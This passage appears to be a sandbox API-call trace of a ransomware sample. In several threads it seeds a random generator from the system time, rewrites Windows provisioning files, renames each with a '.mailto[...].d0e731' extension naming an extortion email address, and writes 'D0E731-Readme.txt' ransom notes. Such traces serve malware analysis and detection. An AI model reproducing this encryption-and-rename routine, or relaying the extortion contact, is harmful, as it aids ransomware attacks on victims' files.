returned 1 [0085.554] WriteFile (in: hFile=0x7c4, lpBuffer=0x33c49b8*, nNumberOfBytesToWrite=0x6c, lpNumberOfBytesWritten=0x2db3f918, lpOverlapped=0x0 | out: lpBuffer=0x33c49b8*, lpNumberOfBytesWritten=0x2db3f918*=0x6c, lpOverlapped=0x0) returned 1 [0085.554] WriteFile (in: hFile=0x7c4, lpBuffer=0x55dda10*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x2db3f918, lpOverlapped=0x0 | out: lpBuffer=0x55dda10*, lpNumberOfBytesWritten=0x2db3f918*=0x20, lpOverlapped=0x0) returned 1 [0085.554] WriteFile (in: hFile=0x7c4, lpBuffer=0x33d12dc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x2db3f918, lpOverlapped=0x0 | out: lpBuffer=0x33d12dc*, lpNumberOfBytesWritten=0x2db3f918*=0x4, lpOverlapped=0x0) returned 1 [0085.554] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x55dda10) returned 1 [0085.554] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x55dd740) returned 1 [0085.554] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x55dd858) returned 1 [0085.554] CloseHandle (hObject=0x7c4) returned 1 [0085.554] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x12e) returned 0x33e8a98 [0085.554] wcscpy (in: _Dest=0x33e8a98, _Source="C:\\Users\\All Users\\Microsoft\\Provisioning\\{268c43e1-aa2b-4036-86ef-8cda98a0c2fe}\\Prov\\RunTime\\0__Power_Policy.provxml" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{268c43e1-aa2b-4036-86ef-8cda98a0c2fe}\\Prov\\RunTime\\0__Power_Policy.provxml") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{268c43e1-aa2b-4036-86ef-8cda98a0c2fe}\\Prov\\RunTime\\0__Power_Policy.provxml" [0085.554] wcscat (in: _Dest=0x33e8a98, _Source=".mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{268c43e1-aa2b-4036-86ef-8cda98a0c2fe}\\Prov\\RunTime\\0__Power_Policy.provxml.mailto[kokoklock@cock.li].d0e731") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{268c43e1-aa2b-4036-86ef-8cda98a0c2fe}\\Prov\\RunTime\\0__Power_Policy.provxml.mailto[kokoklock@cock.li].d0e731" [0085.554] MoveFileW (lpExistingFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{268c43e1-aa2b-4036-86ef-8cda98a0c2fe}\\Prov\\RunTime\\0__Power_Policy.provxml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{268c43e1-aa2b-4036-86ef-8cda98a0c2fe}\\prov\\runtime\\0__power_policy.provxml"), lpNewFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{268c43e1-aa2b-4036-86ef-8cda98a0c2fe}\\Prov\\RunTime\\0__Power_Policy.provxml.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{268c43e1-aa2b-4036-86ef-8cda98a0c2fe}\\prov\\runtime\\0__power_policy.provxml.mailto[kokoklock@cock.li].d0e731")) returned 1 [0085.555] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{268c43e1-aa2b-4036-86ef-8cda98a0c2fe}\\Prov\\RunTime\\0__Power_Policy.provxml.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 1 [0085.555] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33e8a98) returned 1 [0085.555] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{268c43e1-aa2b-4036-86ef-8cda98a0c2fe}\\Prov\\RunTime\\0__Power_Policy.provxml", dwFileAttributes=0x20) returned 0 [0085.555] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0xe2) returned 0x348ae78 [0085.555] wcscpy (in: _Dest=0x348ae78, _Source="C:\\Users\\All Users\\Microsoft\\Provisioning\\{268c43e1-aa2b-4036-86ef-8cda98a0c2fe}\\Prov\\RunTime\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{268c43e1-aa2b-4036-86ef-8cda98a0c2fe}\\Prov\\RunTime\\") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{268c43e1-aa2b-4036-86ef-8cda98a0c2fe}\\Prov\\RunTime\\" [0085.555] wcscat (in: _Dest=0x348ae78, _Source="D0E731-Readme.txt" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{268c43e1-aa2b-4036-86ef-8cda98a0c2fe}\\Prov\\RunTime\\D0E731-Readme.txt") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{268c43e1-aa2b-4036-86ef-8cda98a0c2fe}\\Prov\\RunTime\\D0E731-Readme.txt" [0085.555] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{268c43e1-aa2b-4036-86ef-8cda98a0c2fe}\\Prov\\RunTime\\D0E731-Readme.txt" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{268c43e1-aa2b-4036-86ef-8cda98a0c2fe}\\prov\\runtime\\d0e731-readme.txt")) returned 0xffffffff [0085.556] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{268c43e1-aa2b-4036-86ef-8cda98a0c2fe}\\Prov\\RunTime\\D0E731-Readme.txt" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{268c43e1-aa2b-4036-86ef-8cda98a0c2fe}\\prov\\runtime\\d0e731-readme.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x7c4 [0085.556] WriteFile (in: hFile=0x7c4, lpBuffer=0x33e3ba8*, nNumberOfBytesToWrite=0x481, lpNumberOfBytesWritten=0x2db3f914, lpOverlapped=0x0 | out: lpBuffer=0x33e3ba8*, lpNumberOfBytesWritten=0x2db3f914*=0x481, lpOverlapped=0x0) returned 1 [0085.557] CloseHandle (hObject=0x7c4) returned 1 [0085.557] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x348ae78) returned 1 [0085.557] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3482528) returned 1 [0085.557] RtlExitUserThread (Status=0x1) Thread: id = 1310 os_tid = 0x1214 [0085.558] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{33d78dbc-3db7-4398-8533-000d7c02e5d1}\\Prov\\RunTime\\0__Power_Policy.provxml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{33d78dbc-3db7-4398-8533-000d7c02e5d1}\\prov\\runtime\\0__power_policy.provxml")) returned 0x20 [0085.558] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{33d78dbc-3db7-4398-8533-000d7c02e5d1}\\Prov\\RunTime\\0__Power_Policy.provxml", dwFileAttributes=0x20) returned 1 [0085.559] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{33d78dbc-3db7-4398-8533-000d7c02e5d1}\\Prov\\RunTime\\0__Power_Policy.provxml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{33d78dbc-3db7-4398-8533-000d7c02e5d1}\\prov\\runtime\\0__power_policy.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x7c4 [0085.559] GetFileSizeEx (in: hFile=0x7c4, lpFileSize=0x2dbbfaa8 | out: lpFileSize=0x2dbbfaa8*=864) returned 1 [0085.559] SetFilePointerEx (in: hFile=0x7c4, liDistanceToMove=0x35c, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0085.559] ReadFile (in: hFile=0x7c4, lpBuffer=0x2dbbfa7c, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x2dbbfa78, lpOverlapped=0x0 | out: lpBuffer=0x2dbbfa7c*, lpNumberOfBytesRead=0x2dbbfa78*=0x4, lpOverlapped=0x0) returned 1 [0085.560] SetFilePointerEx (in: hFile=0x7c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0085.560] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x55dd8d0 [0085.560] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x55dda10 [0085.561] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x55dd740 [0085.561] NtQuerySystemTime (in: CurrentTime=0x2dbbfa54 | out: CurrentTime=0x2dbbfa54*=132121176434610210) returned 0x0 [0085.561] RtlRandom (in: Seed=0x2dbbfa60 | out: Seed=0x2dbbfa60) returned 0x827fe658 [0085.561] RtlRandom (in: Seed=0x2dbbfa60 | out: Seed=0x2dbbfa60) returned 0xe04149de [0085.561] RtlRandom (in: Seed=0x2dbbfa60 | out: Seed=0x2dbbfa60) returned 0x3468bf4 [0085.561] RtlRandom (in: Seed=0x2dbbfa60 | out: Seed=0x2dbbfa60) returned 0xa4c7c143 [0085.561] RtlRandom (in: Seed=0x2dbbfa60 | out: Seed=0x2dbbfa60) returned 0x7da9b515 [0085.561] RtlRandom (in: Seed=0x2dbbfa60 | out: Seed=0x2dbbfa60) returned 0xe828b239 [0085.561] RtlRandom (in: Seed=0x2dbbfa60 | out: Seed=0x2dbbfa60) returned 0x11400c0e [0085.561] RtlRandom (in: Seed=0x2dbbfa60 | out: Seed=0x2dbbfa60) returned 0xb2ad5877 [0085.561] RtlRandom (in: Seed=0x2dbbfa60 | out: Seed=0x2dbbfa60) returned 0x3b5eee59 [0085.561] RtlRandom (in: Seed=0x2dbbfa60 | out: Seed=0x2dbbfa60) returned 0x4736b900 [0085.561] RtlRandom (in: Seed=0x2dbbfa60 | out: Seed=0x2dbbfa60) returned 0x1eff79e3 [0085.561] RtlRandom (in: Seed=0x2dbbfa60 | out: Seed=0x2dbbfa60) returned 0xf6317950 [0085.561] RtlRandom (in: Seed=0x2dbbfa60 | out: Seed=0x2dbbfa60) returned 0x62930142 [0085.561] RtlRandom (in: Seed=0x2dbbfa60 | out: Seed=0x2dbbfa60) returned 0x2e721d06 [0085.561] RtlRandom (in: Seed=0x2dbbfa60 | out: Seed=0x2dbbfa60) returned 0xe8a7278f [0085.561] RtlRandom (in: Seed=0x2dbbfa60 | out: Seed=0x2dbbfa60) returned 0x6b07d981 [0085.561] RtlRandom (in: Seed=0x2dbbfa60 | out: Seed=0x2dbbfa60) returned 0xe96e3aeb [0085.561] RtlRandom (in: Seed=0x2dbbfa60 | out: Seed=0x2dbbfa60) returned 0x60be9006 [0085.561] RtlRandom (in: Seed=0x2dbbfa60 | out: Seed=0x2dbbfa60) returned 0x1ed7850a [0085.561] RtlRandom (in: Seed=0x2dbbfa60 | out: Seed=0x2dbbfa60) returned 0x2819607a [0085.561] RtlRandom (in: Seed=0x2dbbfa60 | out: Seed=0x2dbbfa60) returned 0xc68e55cf [0085.561] RtlRandom (in: Seed=0x2dbbfa60 | out: Seed=0x2dbbfa60) returned 0x5e5ecd76 [0085.561] RtlRandom (in: Seed=0x2dbbfa60 | out: Seed=0x2dbbfa60) returned 0xca4b91df [0085.561] RtlRandom (in: Seed=0x2dbbfa60 | out: Seed=0x2dbbfa60) returned 0xdd5c735f [0085.561] RtlRandom (in: Seed=0x2dbbfa60 | out: Seed=0x2dbbfa60) returned 0x84c2f0a8 [0085.561] RtlRandom (in: Seed=0x2dbbfa60 | out: Seed=0x2dbbfa60) returned 0x6e29300 [0085.561] RtlRandom (in: Seed=0x2dbbfa60 | out: Seed=0x2dbbfa60) returned 0xe59f6792 [0085.561] RtlRandom (in: Seed=0x2dbbfa60 | out: Seed=0x2dbbfa60) returned 0xc7b4f9c3 [0085.561] RtlRandom (in: Seed=0x2dbbfa60 | out: Seed=0x2dbbfa60) returned 0xde88baa3 [0085.561] RtlRandom (in: Seed=0x2dbbfa60 | out: Seed=0x2dbbfa60) returned 0xfa86a880 [0085.561] RtlRandom (in: Seed=0x2dbbfa60 | out: Seed=0x2dbbfa60) returned 0x60f887d [0085.561] RtlRandom (in: Seed=0x2dbbfa60 | out: Seed=0x2dbbfa60) returned 0x62659d99 [0085.572] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x347fdf0) returned 1 [0085.572] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x55dd8d0) returned 1 [0085.572] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x40) returned 0x33fd1f0 [0085.572] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x70) returned 0x3480318 [0085.572] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x55dd970 [0085.572] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x55dd970) returned 1 [0085.572] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x4096) returned 0x55d8058 [0085.572] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x4096) returned 0x34b8390 [0085.572] ReadFile (in: hFile=0x7c4, lpBuffer=0x55d8058, nNumberOfBytesToRead=0x360, lpNumberOfBytesRead=0x2dbbfa54, lpOverlapped=0x0 | out: lpBuffer=0x55d8058*, lpNumberOfBytesRead=0x2dbbfa54*=0x360, lpOverlapped=0x0) returned 1 [0085.572] SetFilePointerEx (in: hFile=0x7c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2dbbfa1c | out: lpNewFilePointer=0x0) returned 1 [0085.572] WriteFile (in: hFile=0x7c4, lpBuffer=0x34b8390*, nNumberOfBytesToWrite=0x360, lpNumberOfBytesWritten=0x2dbbfa50, lpOverlapped=0x0 | out: lpBuffer=0x34b8390*, lpNumberOfBytesWritten=0x2dbbfa50*=0x360, lpOverlapped=0x0) returned 1 [0085.572] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x55dd8d0 [0085.572] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x55dd920 [0085.572] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x55dd920) returned 1 [0085.572] WriteFile (in: hFile=0x7c4, lpBuffer=0x55dd8d0*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x2dbbfa4c, lpOverlapped=0x0 | out: lpBuffer=0x55dd8d0*, lpNumberOfBytesWritten=0x2dbbfa4c*=0x20, lpOverlapped=0x0) returned 1 [0085.573] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x55dd8d0) returned 1 [0085.573] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x34b8390) returned 1 [0085.573] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x55d8058) returned 1 [0085.573] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3480318) returned 1 [0085.573] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33fd1f0) returned 1 [0085.573] WriteFile (in: hFile=0x7c4, lpBuffer=0x55dd858*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2dbbfa78, lpOverlapped=0x0 | out: lpBuffer=0x55dd858*, lpNumberOfBytesWritten=0x2dbbfa78*=0x8, lpOverlapped=0x0) returned 1 [0085.573] WriteFile (in: hFile=0x7c4, lpBuffer=0x2dbbfa90*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x2dbbfa78, lpOverlapped=0x0 | out: lpBuffer=0x2dbbfa90*, lpNumberOfBytesWritten=0x2dbbfa78*=0x4, lpOverlapped=0x0) returned 1 [0085.573] WriteFile (in: hFile=0x7c4, lpBuffer=0x33d12fc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x2dbbfa78, lpOverlapped=0x0 | out: lpBuffer=0x33d12fc*, lpNumberOfBytesWritten=0x2dbbfa78*=0x4, lpOverlapped=0x0) returned 1 [0085.573] WriteFile (in: hFile=0x7c4, lpBuffer=0x33c49b8*, nNumberOfBytesToWrite=0x6c, lpNumberOfBytesWritten=0x2dbbfa78, lpOverlapped=0x0 | out: lpBuffer=0x33c49b8*, lpNumberOfBytesWritten=0x2dbbfa78*=0x6c, lpOverlapped=0x0) returned 1 [0085.573] WriteFile (in: hFile=0x7c4, lpBuffer=0x55dda10*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x2dbbfa78, lpOverlapped=0x0 | out: lpBuffer=0x55dda10*, lpNumberOfBytesWritten=0x2dbbfa78*=0x20, lpOverlapped=0x0) returned 1 [0085.573] WriteFile (in: hFile=0x7c4, lpBuffer=0x33d12dc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x2dbbfa78, lpOverlapped=0x0 | out: lpBuffer=0x33d12dc*, lpNumberOfBytesWritten=0x2dbbfa78*=0x4, lpOverlapped=0x0) returned 1 [0085.573] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x55dda10) returned 1 [0085.573] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x55dd768) returned 1 [0085.573] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x55dd858) returned 1 [0085.573] CloseHandle (hObject=0x7c4) returned 1 [0085.573] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x12e) returned 0x33e8a98 [0085.574] wcscpy (in: _Dest=0x33e8a98, _Source="C:\\Users\\All Users\\Microsoft\\Provisioning\\{33d78dbc-3db7-4398-8533-000d7c02e5d1}\\Prov\\RunTime\\0__Power_Policy.provxml" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{33d78dbc-3db7-4398-8533-000d7c02e5d1}\\Prov\\RunTime\\0__Power_Policy.provxml") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{33d78dbc-3db7-4398-8533-000d7c02e5d1}\\Prov\\RunTime\\0__Power_Policy.provxml" [0085.574] wcscat (in: _Dest=0x33e8a98, _Source=".mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{33d78dbc-3db7-4398-8533-000d7c02e5d1}\\Prov\\RunTime\\0__Power_Policy.provxml.mailto[kokoklock@cock.li].d0e731") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{33d78dbc-3db7-4398-8533-000d7c02e5d1}\\Prov\\RunTime\\0__Power_Policy.provxml.mailto[kokoklock@cock.li].d0e731" [0085.574] MoveFileW (lpExistingFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{33d78dbc-3db7-4398-8533-000d7c02e5d1}\\Prov\\RunTime\\0__Power_Policy.provxml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{33d78dbc-3db7-4398-8533-000d7c02e5d1}\\prov\\runtime\\0__power_policy.provxml"), lpNewFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{33d78dbc-3db7-4398-8533-000d7c02e5d1}\\Prov\\RunTime\\0__Power_Policy.provxml.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{33d78dbc-3db7-4398-8533-000d7c02e5d1}\\prov\\runtime\\0__power_policy.provxml.mailto[kokoklock@cock.li].d0e731")) returned 1 [0085.574] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{33d78dbc-3db7-4398-8533-000d7c02e5d1}\\Prov\\RunTime\\0__Power_Policy.provxml.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 1 [0085.574] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33e8a98) returned 1 [0085.575] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{33d78dbc-3db7-4398-8533-000d7c02e5d1}\\Prov\\RunTime\\0__Power_Policy.provxml", dwFileAttributes=0x20) returned 0 [0085.575] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0xe2) returned 0x348ae78 [0085.575] wcscpy (in: _Dest=0x348ae78, _Source="C:\\Users\\All Users\\Microsoft\\Provisioning\\{33d78dbc-3db7-4398-8533-000d7c02e5d1}\\Prov\\RunTime\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{33d78dbc-3db7-4398-8533-000d7c02e5d1}\\Prov\\RunTime\\") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{33d78dbc-3db7-4398-8533-000d7c02e5d1}\\Prov\\RunTime\\" [0085.575] wcscat (in: _Dest=0x348ae78, _Source="D0E731-Readme.txt" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{33d78dbc-3db7-4398-8533-000d7c02e5d1}\\Prov\\RunTime\\D0E731-Readme.txt") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{33d78dbc-3db7-4398-8533-000d7c02e5d1}\\Prov\\RunTime\\D0E731-Readme.txt" [0085.575] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{33d78dbc-3db7-4398-8533-000d7c02e5d1}\\Prov\\RunTime\\D0E731-Readme.txt" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{33d78dbc-3db7-4398-8533-000d7c02e5d1}\\prov\\runtime\\d0e731-readme.txt")) returned 0xffffffff [0085.575] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{33d78dbc-3db7-4398-8533-000d7c02e5d1}\\Prov\\RunTime\\D0E731-Readme.txt" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{33d78dbc-3db7-4398-8533-000d7c02e5d1}\\prov\\runtime\\d0e731-readme.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x7c4 [0085.575] WriteFile (in: hFile=0x7c4, lpBuffer=0x33e3ba8*, nNumberOfBytesToWrite=0x481, lpNumberOfBytesWritten=0x2dbbfa74, lpOverlapped=0x0 | out: lpBuffer=0x33e3ba8*, lpNumberOfBytesWritten=0x2dbbfa74*=0x481, lpOverlapped=0x0) returned 1 [0085.577] CloseHandle (hObject=0x7c4) returned 1 [0085.577] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x348ae78) returned 1 [0085.577] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3482430) returned 1 [0085.577] RtlExitUserThread (Status=0x1) Thread: id = 1311 os_tid = 0x121c [0085.578] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{3742e5e8-6d9d-473b-99a6-8ecc0f43548a}\\Prov\\RunTime\\0__Power_Policy.provxml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{3742e5e8-6d9d-473b-99a6-8ecc0f43548a}\\prov\\runtime\\0__power_policy.provxml")) returned 0x20 [0085.578] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{3742e5e8-6d9d-473b-99a6-8ecc0f43548a}\\Prov\\RunTime\\0__Power_Policy.provxml", dwFileAttributes=0x20) returned 1 [0085.578] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{3742e5e8-6d9d-473b-99a6-8ecc0f43548a}\\Prov\\RunTime\\0__Power_Policy.provxml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{3742e5e8-6d9d-473b-99a6-8ecc0f43548a}\\prov\\runtime\\0__power_policy.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x7c4 [0085.578] GetFileSizeEx (in: hFile=0x7c4, lpFileSize=0x2dc3f85c | out: lpFileSize=0x2dc3f85c*=1824) returned 1 [0085.578] SetFilePointerEx (in: hFile=0x7c4, liDistanceToMove=0x71c, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0085.579] ReadFile (in: hFile=0x7c4, lpBuffer=0x2dc3f830, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x2dc3f82c, lpOverlapped=0x0 | out: lpBuffer=0x2dc3f830*, lpNumberOfBytesRead=0x2dc3f82c*=0x4, lpOverlapped=0x0) returned 1 [0085.580] SetFilePointerEx (in: hFile=0x7c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0085.580] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x55dd8d0 [0085.580] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x55dda10 [0085.580] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x55dd768 [0085.580] NtQuerySystemTime (in: CurrentTime=0x2dc3f808 | out: CurrentTime=0x2dc3f808*=132121176434766568) returned 0x0 [0085.580] RtlRandom (in: Seed=0x2dc3f814 | out: Seed=0x2dc3f814) returned 0xa73ab26b [0085.580] RtlRandom (in: Seed=0x2dc3f814 | out: Seed=0x2dc3f814) returned 0x3a6a7a90 [0085.580] RtlRandom (in: Seed=0x2dc3f814 | out: Seed=0x2dc3f814) returned 0x142aadc2 [0085.580] RtlRandom (in: Seed=0x2dc3f814 | out: Seed=0x2dc3f814) returned 0x7036d40d [0085.580] RtlRandom (in: Seed=0x2dc3f814 | out: Seed=0x2dc3f814) returned 0x1683a8f9 [0085.580] RtlRandom (in: Seed=0x2dc3f814 | out: Seed=0x2dc3f814) returned 0xaef7128d [0085.580] RtlRandom (in: Seed=0x2dc3f814 | out: Seed=0x2dc3f814) returned 0xf7d9af4d [0085.580] RtlRandom (in: Seed=0x2dc3f814 | out: Seed=0x2dc3f814) returned 0x967704bf [0085.580] RtlRandom (in: Seed=0x2dc3f814 | out: Seed=0x2dc3f814) returned 0xcf5ff49a [0085.580] RtlRandom (in: Seed=0x2dc3f814 | out: Seed=0x2dc3f814) returned 0x7c5162d [0085.580] RtlRandom (in: Seed=0x2dc3f814 | out: Seed=0x2dc3f814) returned 0x811fc6e0 [0085.580] RtlRandom (in: Seed=0x2dc3f814 | out: Seed=0x2dc3f814) returned 0xb8897376 [0085.580] RtlRandom (in: Seed=0x2dc3f814 | out: Seed=0x2dc3f814) returned 0xde4b9208 [0085.580] RtlRandom (in: Seed=0x2dc3f814 | out: Seed=0x2dc3f814) returned 0xabe07f81 [0085.580] RtlRandom (in: Seed=0x2dc3f814 | out: Seed=0x2dc3f814) returned 0x51e3bccd [0085.580] RtlRandom (in: Seed=0x2dc3f814 | out: Seed=0x2dc3f814) returned 0x6d7e91e [0085.581] RtlRandom (in: Seed=0x2dc3f814 | out: Seed=0x2dc3f814) returned 0x4e5ff119 [0085.581] RtlRandom (in: Seed=0x2dc3f814 | out: Seed=0x2dc3f814) returned 0xf249e6dd [0085.581] RtlRandom (in: Seed=0x2dc3f814 | out: Seed=0x2dc3f814) returned 0x61c9afd7 [0085.581] RtlRandom (in: Seed=0x2dc3f814 | out: Seed=0x2dc3f814) returned 0x4b3859fc [0085.581] RtlRandom (in: Seed=0x2dc3f814 | out: Seed=0x2dc3f814) returned 0x3ab13ecd [0085.581] RtlRandom (in: Seed=0x2dc3f814 | out: Seed=0x2dc3f814) returned 0x809255f7 [0085.581] RtlRandom (in: Seed=0x2dc3f814 | out: Seed=0x2dc3f814) returned 0xf9ae1c4d [0085.581] RtlRandom (in: Seed=0x2dc3f814 | out: Seed=0x2dc3f814) returned 0x93aa2fb4 [0085.581] RtlRandom (in: Seed=0x2dc3f814 | out: Seed=0x2dc3f814) returned 0xdda7532a [0085.581] RtlRandom (in: Seed=0x2dc3f814 | out: Seed=0x2dc3f814) returned 0xd05e7c0c [0085.581] RtlRandom (in: Seed=0x2dc3f814 | out: Seed=0x2dc3f814) returned 0x61d81bc5 [0085.581] RtlRandom (in: Seed=0x2dc3f814 | out: Seed=0x2dc3f814) returned 0xf5193df8 [0085.581] RtlRandom (in: Seed=0x2dc3f814 | out: Seed=0x2dc3f814) returned 0x51c3ab25 [0085.581] RtlRandom (in: Seed=0x2dc3f814 | out: Seed=0x2dc3f814) returned 0xe4611a55 [0085.581] RtlRandom (in: Seed=0x2dc3f814 | out: Seed=0x2dc3f814) returned 0xb5abe59f [0085.581] RtlRandom (in: Seed=0x2dc3f814 | out: Seed=0x2dc3f814) returned 0x4d3b7b1a [0085.592] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x347fdf0) returned 1 [0085.592] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x55dd8d0) returned 1 [0085.592] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x40) returned 0x33fd1f0 [0085.592] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x70) returned 0x3480318 [0085.592] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, 